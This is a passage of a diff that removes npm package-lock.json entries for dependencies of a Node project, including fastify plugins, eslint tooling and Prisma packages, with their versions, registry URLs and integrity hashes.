"integrity": "sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - } - }, - "node_modules/@eslint/plugin-kit": { - "version": "0.7.3", - "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.7.3.tgz", - "integrity": "sha512-IkO+/KEUvwbVpiURZg+P7zF74z5Jxe0UgJxVni+RtoHQ6IZieXaO02kmadomap/q+l6bc/jdPGGqTjhuZnuz1Q==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^1.2.1", - "levn": "^0.4.1" - }, - "engines": { - "node": "^20.19.0 || ^22.13.0 || >=24" - } - }, - "node_modules/@exodus/bytes": { - "version": "1.15.1", - "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.15.1.tgz", - "integrity": "sha512-S6mL0yNB/Abt9Ei4tq8gDhcczc4S3+vQ4ra7vxnAf+YHC02srtqxKKZghx2Dq6p0e66THKwR6r8N6P95wEty7Q==", - "license": "MIT", - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - }, - "peerDependencies": { - "@noble/hashes": "^1.8.0 || ^2.0.0" - }, - "peerDependenciesMeta": { - "@noble/hashes": { - "optional": true - } - } - }, - "node_modules/@fastify/accept-negotiator": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/@fastify/accept-negotiator/-/accept-negotiator-2.1.0.tgz", - "integrity": "sha512-F3EVbzWt+xcnVaOHmWyIlpuFtbxOln7HDZQsh09MtMmMm/CipMayNt8hnIL8VQi54u2ZociDbf+iluGYkf7B1A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/@fastify/ajv-compiler": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/@fastify/ajv-compiler/-/ajv-compiler-4.0.6.tgz", - "integrity": "sha512-NtuzM0SfaMJbGlnjr9LWQUN5LzgSrbB8tf/wRZNas+4E1O/Nmzl53e7ruT61HDZyRCJGC6FxIogmNZO1c5ETBA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "ajv": "^8.12.0", - "ajv-formats": "^3.0.1", - "fast-uri": "^4.0.0" - } - }, - "node_modules/@fastify/ajv-compiler/node_modules/ajv": { - "version": "8.20.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/@fastify/ajv-compiler/node_modules/ajv/node_modules/fast-uri": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.7.tgz", - "integrity": "sha512-dOvZVzjdZdz7phd9v6jCbwxrBW3fK6n8Rc0CtdmM4bumzMnxywBYhuph6J819RRw/ku+rLbelwfMunktuzVVHg==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/@fastify/ajv-compiler/node_modules/fast-uri": { - "version": "4.1.4", - "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-4.1.4.tgz", - "integrity": "sha512-dODXrIxlS9JSdgAnhIUKOosKV1oMtU2VtVw87QRaHzyl5jxO290Ii5tEZfCfzfWNHi3jKWwBSdQj0qIyshdZdQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "BSD-3-Clause" - }, - "node_modules/@fastify/ajv-compiler/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "license": "MIT" - }, - "node_modules/@fastify/compress": { - "version": "9.2.0", - "resolved": "https://registry.npmjs.org/@fastify/compress/-/compress-9.2.0.tgz", - "integrity": "sha512-35VL33PIEt/UbD/ZMlRNaICd2BQz0IaG7en74Dv7tI+MHIQkedibS1+9JfekWH4I1g+Y8RbbZD4Zsk9h4XTItg==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@fastify/accept-negotiator": "^2.0.0", - "fastify-plugin": "^6.0.0", - "mime-db": "^1.52.0", - "minipass": "^7.0.4", - "readable-stream": "^4.5.2" - } - }, - "node_modules/@fastify/cors": { - "version": "11.3.0", - "resolved": "https://registry.npmjs.org/@fastify/cors/-/cors-11.3.0.tgz", - "integrity": "sha512-ggQGua+xHv1MvePbPr0v//xLYEsCXbWspquXCJS9Ot5YoRXq8J8ZWzHnxDBVnbtXosvistXo6LtNzOJswf64Fw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "fastify-plugin": "^6.0.0", - "toad-cache": "^3.7.0" - } - }, - "node_modules/@fastify/error": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/@fastify/error/-/error-4.2.0.tgz", - "integrity": "sha512-RSo3sVDXfHskiBZKBPRgnQTtIqpi/7zhJOEmAxCiBcM7d0uwdGdxLlsCaLzGs8v8NnxIRlfG0N51p5yFaOentQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/@fastify/fast-json-stringify-compiler": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@fastify/fast-json-stringify-compiler/-/fast-json-stringify-compiler-5.1.0.tgz", - "integrity": "sha512-PxcYtKLbQ8Z+yApiqjK8FwxIwvEj38k2OiLc17u8dkJSlmfi2wHHPaSnaoqBPQqtvF8YVsDgDpP2snDCfFrpfw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "fast-json-stringify": "^7.0.0" - } - }, - "node_modules/@fastify/forwarded": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@fastify/forwarded/-/forwarded-3.0.2.tgz", - "integrity": "sha512-NE8HgKLgYejV9lDpqkEFaDKMLYelJBVfHekhB0UKvX0ghagXRJqg68feg8er1NPXxG4N9i6vPxzt8E+3wHfcmA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/@fastify/helmet": { - "version": "12.0.0", - "resolved": "https://registry.npmjs.org/@fastify/helmet/-/helmet-12.0.0.tgz", - "integrity": "sha512-6YdOZVR0d6//5kPnBBQCdCFb7pCSlyc9c/3HQfZEE5zabZ5ooiDML9o7atDPqnkF+zCMwsqNPisthUyQmkGb7Q==", - "license": "MIT", - "dependencies": { - "fastify-plugin": "^5.0.0", - "helmet": "^7.1.0" - } - }, - "node_modules/@fastify/helmet/node_modules/fastify-plugin": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/fastify-plugin/-/fastify-plugin-5.1.0.tgz", - "integrity": "sha512-FAIDA8eovSt5qcDgcBvDuX/v0Cjz0ohGhENZ/wpc3y+oZCY2afZ9Baqql3g/lC+OHRnciQol4ww7tuthOb9idw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT" - }, - "node_modules/@fastify/merge-json-schemas": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/@fastify/merge-json-schemas/-/merge-json-schemas-0.2.1.tgz", - "integrity": "sha512-OA3KGBCy6KtIvLf8DINC5880o5iBlDX4SxzLQS8HorJAbqluzLRn80UXU0bxZn7UOFhFgpRJDasfwn9nG4FG4A==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "dequal": "^2.0.3" - } - }, - "node_modules/@fastify/proxy-addr": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/@fastify/proxy-addr/-/proxy-addr-5.1.0.tgz", - "integrity": "sha512-INS+6gh91cLUjB+PVHfu1UqcB76Sqtpyp7bnL+FYojhjygvOPA9ctiD/JDKsyD9Xgu4hUhCSJBPig/w7duNajw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@fastify/forwarded": "^3.0.0", - "ipaddr.js": "^2.1.0" - } - }, - "node_modules/@fastify/rate-limit": { - "version": "11.2.0", - "resolved": "https://registry.npmjs.org/@fastify/rate-limit/-/rate-limit-11.2.0.tgz", - "integrity": "sha512-X7osJd4XSvMoejYrnJkSZYYjY1eNYoBqhjlzf1RakC2204qExFqZFTKj5+T7VuzA/iUI9Z3UoSqQRkB2HpG0oQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@lukeed/ms": "^2.0.2", - "fastify-plugin": "^6.0.0", - "ip-address": "^10.2.0", - "toad-cache": "^3.7.0" - } - }, - "node_modules/@fastify/send": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/@fastify/send/-/send-4.1.1.tgz", - "integrity": "sha512-BYo+EiaKwlxH+WetGk6hAs1d39iP0y1gqB8lGF/qwkJ9ZZ/cBY1vx5NvExb9Sc3yRMFjD5X4Eyh4e4+TzRkzdw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@lukeed/ms": "^2.0.2", - "escape-html": "~1.0.3", - "fast-decode-uri-component": "^1.0.1", - "http-errors": "^2.0.0", - "mime": "^3" - } - }, - "node_modules/@fastify/static": { - "version": "10.1.5", - "resolved": "https://registry.npmjs.org/@fastify/static/-/static-10.1.5.tgz", - "integrity": "sha512-3r0ZFXo82nKlPzySOUYhwWVfPZStfiwjmyevkX7cJWL2yXmEzl0Rpxv+L6L1R4OxqvlDGqf3g8OdBzILKgqe6w==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@fastify/accept-negotiator": "^2.0.0", - "@fastify/error": "^4.0.0", - "@fastify/send": "^4.0.0", - "content-disposition": "^3.0.0", - "fastify-plugin": "^6.0.0", - "fastq": "^1.17.1", - "glob": "^13.0.0" - } - }, - "node_modules/@fastify/swagger": { - "version": "9.9.0", - "resolved": "https://registry.npmjs.org/@fastify/swagger/-/swagger-9.9.0.tgz", - "integrity": "sha512-d21Im1l3KoF2kmzJHOYL50Erjhj1qUUudQsW9hzwYTE7likjvMx7AQKpClyZbdhrqGXbl+fU4dI2S7BaLpFIvw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "fastify-plugin": "^6.0.0", - "json-schema-resolver": "^3.0.0", - "openapi-types": "^12.1.3", - "rfdc": "^1.3.1", - "yaml": "^2.4.2" - } - }, - "node_modules/@fastify/swagger-ui": { - "version": "6.1.1", - "resolved": "https://registry.npmjs.org/@fastify/swagger-ui/-/swagger-ui-6.1.1.tgz", - "integrity": "sha512-RKCLSHASlzS2JZvHWn14NmEpHyl0yNosGvqzhUumm/LGPG6RWQBf4oscTFt83QDvc5O5Tol3Beup8inAl/k4EA==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/fastify" - }, - { - "type": "opencollective", - "url": "https://opencollective.com/fastify" - } - ], - "license": "MIT", - "dependencies": { - "@fastify/static": "^10.1.0", - "fastify-plugin": "^6.0.0", - "openapi-types": "^12.1.3", - "rfdc": "^1.3.1", - "yaml": "^2.4.1" - } - }, - "node_modules/@humanfs/core": { - "version": "0.19.2", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", - "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/types": "^0.15.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/node": { - "version": "0.16.8", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", - "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/core": "^0.19.2", - "@humanfs/types": "^0.15.0", - "@humanwhocodes/retry": "^0.4.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/types": { - "version": "0.15.0", - "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", - "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.22" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@humanwhocodes/retry": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", - "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==", - "dev": true, - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.31", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.1.0", - "@jridgewell/sourcemap-codec": "^1.4.14" - } - }, - "node_modules/@keyv/bigmap": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/@keyv/bigmap/-/bigmap-1.3.1.tgz", - "integrity": "sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "hashery": "^1.4.0", - "hookified": "^1.15.0" - }, - "engines": { - "node": ">= 18" - }, - "peerDependencies": { - "keyv": "^5.6.0" - } - }, - "node_modules/@keyv/serialize": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", - "integrity": "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@lukeed/ms": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/@lukeed/ms/-/ms-2.0.2.tgz", - "integrity": "sha512-9I2Zn6+NJLfaGoz9jN3lpwDgAYvfGeNYdbAIjJOqzs4Tpc+VU3Jqq4IofSUBKajiDS8k9fZIg18/z13mpk1bsA==", - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/@noble/ed25519": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@noble/ed25519/-/ed25519-3.2.0.tgz", - "integrity": "sha512-criDgRlnUA09hchYrTy/JUWPIEap5rZxQe6wDWzRx51oWWpDRcUpuNzlgPxDJaOK6AsW9c0wKcj3rKRv6t+bPQ==", - "license": "MIT", - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/@noble/hashes": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz", - "integrity": "sha512-X5XaVWZIBCT7HHZGm5I7ZQXDwLG+bGXuSrMQAW+7Zvl87h1kmc1ZB1VSRJcpUfoUrGQp4Fkoxm5kZ+Ms+aW+eA==", - "license": "MIT", - "engines": { - "node": ">= 20.19.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - } - }, - "node_modules/@oxc-project/types": { - "version": "0.148.0", - "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.148.0.tgz", - "integrity": "sha512-Nm4s/jB+4FpFsPhWGEC4h7rzksesmtnMXomo6rCMcg/b8zLQuOziRgkCS1fxDCXOlJB/6Q8oABOZ/OP6RIPj9A==", - "dev": true, - "license": "MIT", - "peer": true, - "funding": { - "url": "https://github.com/sponsors/oxc-project" - } - }, - "node_modules/@pinojs/redact": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@pinojs/redact/-/redact-0.4.0.tgz", - "integrity": "sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==", - "license": "MIT" - }, - "node_modules/@prisma/adapter-pg": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/adapter-pg/-/adapter-pg-7.10.0.tgz", - "integrity": "sha512-N7nwSor0HO1Kz6xBv0TPAjAPysKK0fac6p4fVN3ensLOuzc/83Fgmln5k92eK/cvzqdkSR/2kkAqlbcdwVrwpw==", - "license": "Apache-2.0", - "dependencies": { - "@prisma/driver-adapter-utils": "7.10.0", - "@types/pg": "^8.16.0", - "pg": "^8.16.3", - "postgres-array": "3.0.4" - } - }, - "node_modules/@prisma/client": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/client/-/client-7.10.0.tgz", - "integrity": "sha512-Ubw/QS9JGIBSBUsyxAUQuK/Jcu0Tsva7le7QbLd91Kix9yJvYDdj5QkwgEbbZniH80dd+sziQcALPc+HnvQC8Q==", - "license": "Apache-2.0", - "dependencies": { - "@prisma/client-runtime-utils": "7.10.0" - }, - "engines": { - "node": "^20.19 || ^22.12 || >=24.0" - }, - "peerDependencies": { - "prisma": "*", - "typescript": ">=5.4.0" - }, - "peerDependenciesMeta": { - "prisma": { - "optional": true - }, - "typescript": { - "optional": true - } - } - }, - "node_modules/@prisma/client-runtime-utils": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/client-runtime-utils/-/client-runtime-utils-7.10.0.tgz", - "integrity": "sha512-cnCy7lUV8/CctgKVEmqAbSLAmwqJdE/qAlqTBk/0NDk59zEb2cZ0M0M0E4vVPnqbSEYudRroQDvOWfUZH6RIfw==", - "license": "Apache-2.0" - }, - "node_modules/@prisma/config": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/config/-/config-7.10.0.tgz", - "integrity": "sha512-Rcg828gIRE3HOQ3pOATFjV5d/P0U9OIobxhd/IMxlfWjA4vru0eGwb0AIwFw0rmcLMVShohZYWPixVxkBHsxUA==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "c12": "3.3.4", - "deepmerge-ts": "7.1.5", - "effect": "3.20.0", - "empathic": "2.0.0" - } - }, - "node_modules/@prisma/debug": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.10.0.tgz", - "integrity": "sha512-caygJKtltmRIgdJ3jRpkOr7yM4DW6zxo5uOmojKWFb3asnxWoRkQOwZmXBgD8FZp4htrX+nMpcWqDwzlQ1+Y4g==", - "license": "Apache-2.0" - }, - "node_modules/@prisma/dev": { - "version": "0.24.17", - "resolved": "https://registry.npmjs.org/@prisma/dev/-/dev-0.24.17.tgz", - "integrity": "sha512-UvdZzmpFwknnfreh6Jije84ekkYGPYEJhXG1tFzCsCfQyzJifrOo38eZc0qajzvaC6OLUOrN9ML5XfCnEZL9DA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "@electric-sql/pglite": "0.4.3", - "@electric-sql/pglite-socket": "0.1.3", - "@electric-sql/pglite-tools": "0.3.3", - "@prisma/get-platform": "7.2.0", - "@prisma/query-plan-executor": "7.2.0", - "@prisma/streams-local": "0.1.11", - "find-my-way": "9.7.0", - "foreground-child": "3.3.1", - "get-port-please": "3.2.0", - "pathe": "2.0.3", - "proper-lockfile": "4.1.2", - "remeda": "2.33.4", - "std-env": "3.10.0", - "valibot": "1.4.2", - "zeptomatch": "2.1.0" - } - }, - "node_modules/@prisma/dev/node_modules/std-env": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", - "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@prisma/driver-adapter-utils": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/driver-adapter-utils/-/driver-adapter-utils-7.10.0.tgz", - "integrity": "sha512-u8zkcRLlaryO652T4qavBg0HmzNW5tSKdsCn6hc1PhWAp/J6k0vrxLuUs+b9o+HcjsK7Dfa01o4OFSn0frauJA==", - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.0" - } - }, - "node_modules/@prisma/engines": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/engines/-/engines-7.10.0.tgz", - "integrity": "sha512-KNumN6NHFwybvfdYzTee9pqwx5PvknpWAaHn6L5NsbrKdl+SQrsVZs9opKs6U6SAsvB26HDt3WybRjOhgoWOYQ==", - "devOptional": true, - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.0", - "@prisma/engines-version": "7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3", - "@prisma/fetch-engine": "7.10.0", - "@prisma/get-platform": "7.10.0" - } - }, - "node_modules/@prisma/engines-version": { - "version": "7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3", - "resolved": "https://registry.npmjs.org/@prisma/engines-version/-/engines-version-7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3.tgz", - "integrity": "sha512-8OJ6RuZTZ06eFUOtBwxVmv8XMmOW6HWN5F+uxUbZkGxR0Bfab1dfAdXaHPmR5mb59E+fmUo8IOzXlbLY1SClbw==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@prisma/engines/node_modules/@prisma/get-platform": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.0.tgz", - "integrity": "sha512-0bra1LFYi8xNw0yqV62bHJNQk4BKleOngZiqPWIQc7a3+9q6rqsnqJ15BuepP8943PFMvtmgnP52juZsyYkA6w==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.0" - } - }, - "node_modules/@prisma/fetch-engine": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/fetch-engine/-/fetch-engine-7.10.0.tgz", - "integrity": "sha512-Zqyu8DY14t6W/xwmAxUYWCXtHrvQnSvT644EAZSsdM8NSmCS74vJJbBKdVsK3ucFpnUWkEpbO1a0CxJXrg130g==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.0", - "@prisma/engines-version": "7.10.0-4.0edf323efd1d98336f3f0a68684b56f689b900d3", - "@prisma/get-platform": "7.10.0" - } - }, - "node_modules/@prisma/fetch-engine/node_modules/@prisma/get-platform": { - "version": "7.10.0", - "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.0.tgz", - "integrity": "sha512-0bra1LFYi8xNw0yqV62bHJNQk4BKleOngZiqPWIQc7a3+9q6rqsnqJ15BuepP8943PFMvtmgnP52juZsyYkA6w==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.0" - } - }, - "node_modules/@prisma/get-platform": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.2.0.tgz", - "integrity": "sha512-k1V0l0Td1732EHpAfi2eySTezyllok9dXb6UQanajkJQzPUGi3vO2z7jdkz67SypFTdmbnyGYxvEvYZdZsMAVA==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.2.0" - } - }, - "node_modules/@prisma/get-platform/node_modules/@prisma/debug": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.2.0.tgz", - "integrity": "sha512-YSGTiSlBAVJPzX4ONZmMotL+ozJwQjRmZweQNIq/ER0tQJKJynNkRB3kyvt37eOfsbMCXk3gnLF6J9OJ4QWftw==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@prisma/query-plan-executor": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@prisma/query-plan-executor/-/query-plan-executor-7.2.0.tgz", - "integrity": "sha512-EOZmNzcV8uJ0mae3DhTsiHgoNCuu1J9mULQpGCh62zN3PxPTd+qI9tJvk5jOst8WHKQNwJWR3b39t0XvfBB0WQ==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@prisma/streams-local": { - "version": "0.1.11", - "resolved": "https://registry.npmjs.org/@prisma/streams-local/-/streams-local-0.1.11.tgz", - "integrity": "sha512-0TcebL559MByKqTJ+SsrFIEg228iw8UCVRFckzgfRSiJqczhs+MuAgWOF9lnOIV/IVqvu+KMnFTH0eDeTQMpUg==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "ajv": "^8.12.0", - "better-result": "^2.7.0", - "env-paths": "^3.0.0", - "proper-lockfile": "^4.1.2" - }, - "engines": { - "bun": ">=1.2.0", - "node": ">=22.0.0" - } - }, - "node_modules/@prisma/streams-local/node_modules/ajv": { - "version": "8.20.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", - "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.3", - "fast-uri": "^3.0.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/@prisma/streams-local/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@prisma/studio-core": { - "version": "0.33.0", - "resolved": 